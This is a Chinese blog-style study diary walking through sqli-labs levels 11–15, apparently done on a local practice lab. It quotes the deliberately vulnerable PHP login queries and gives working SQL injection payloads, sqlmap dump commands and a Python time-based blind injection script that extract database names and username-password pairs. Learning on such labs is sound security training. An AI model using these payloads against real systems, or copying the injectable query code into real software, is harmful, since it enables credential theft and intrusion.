前言
今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错,之后就刷了刷攻防世界的题,题有眉目但是还是忍不住看了WP 服了自己了!!!一直刷到了晚上也不知道几点我妈买了柚子回了吃了会 回来继续战斗 想起来自己自从回来就没怎么继续刷sql靶场的题了,又刷了五关题。总结下这五关内容现在已经两点了总结完就该睡了。
第十一关:(基于错误的POST型单引号字符型注入)
分析代码有报错可以使用多种注入方式
核心代码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
手工注入payload:
1 uname=admin' order by 2#&passwd=admin&submit=Submit 2 uname=admin' union select 1,2#&passwd=admin&submit=Submit 3 uname=0' union select 1,2#&passwd=admin&submit=Submit 4 uname=0' union select user(),version() #&passwd=admin&submit=Submit 5 uname=0' union select 1,database()#&passwd=admin&submit=Submit 6 uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit 7 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name=users#&passwd=admin&submit=Submit 8 uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit 9 uname=0' UNION SELECT 1,GROUP_CONCAT(USERNAME,'-',PASSWORD) FROM USERS#&passwd=admin&submit=Submit
SQLmap 注入payload:
bp抓包保存为lou.txt python sqlmap.py -r lou.txt python sqlmap.py -r lou.txt --dbs 列出所有数据库 python sqlmap.py -r lou.txt --current-dbs 列出当前数据库 python sqlmap.py -r lou.txt -D 'security' --tables 列出security数据库中所有的表 python sqlmap.py -r lou.txt -D 'security' -T "users" --columns 列出users表中的所有列 python sqlmap.py -r lou.txt -D 'security' -T "users" -C "username","password" --dump 列出所有列中的数据
第十二关(基于错误的双引号POST型字符型变形的注入)
这一关仅在SQL语句处理上根12关不同其他都一一致
核心代码:
$uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
手工注入payload:
1 uname=admin") and 1=1 --+&passwd=admin&submit=Submit 2 uname=admin") and 1=2 --+&passwd=admin&submit=Submit 3 uname=admin") order by 2 --+&passwd=admin&submit=Submit 4 uname=0") union select 1,2 --+&passwd=admin&submit=Submit 5 uname=0") union select version(),database() --+&passwd=admin&submit=Submit 6 uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit 7 uname=0") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit 8 uname=0") union select group_concat(username),group_concat(password) from users --+&passwd=admin&submit=Submit
第十三关(POST单引号变形双注入)
这一关也是根上面差不多紧紧是SQL语句部分不一致
核心代码:
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
可以用上述方法进行注入
也可以用下面的脚本
python脚本:
1 import requests 2 import time 3 url="http://192.168.233.1/lou/sql/Less-13/" 4 allString='''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnm''' 5 6 database="" 7 8 for i in range(1,10): 9 10 for j in allString: 11 payload="admin') and if(substr(database(),{},1)='{}',sleep(3),1)#".format(int(i),str(j)) 12 13 data={ 14 "uname":payload, 15 "passwd":"admin&submit=Submit" 16 } 17 print(data) 18 urls=requests.post(url,data=data) 19 #print(urls.text) 20 21 t=urls.elapsed.total_seconds() 22 #print(j) 23 if t>=3: 24 #print(j) 25 database+=j 26 print(data) 27 28 elif t<3 and j=='M': 29 break 30 31 print('DATABASE:',database)
第十四关
这一关也是紧sql语句处理部分不一致可以对比上面
核心代码:
$uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1"; $result=mysql_query($sql);
注入参考上面皆可以
第十五关 (基于bool型/时间延迟单引号POST型盲注)
这一关与上面都不一样 这个页面没有报错信息 只有登录成功/失败页面 只能通过sleep()时间注入
核心代码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
手工payload:
1 没任何错误信息只能盲注通过时间注入 2 uname=admin' and 1=1 --+&passwd=admin&submit=Submit 3 uname=admin' and 1=1 --+&passwd=admin&submit=Submit 4 uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
工具注入 参考十三关脚本修改即可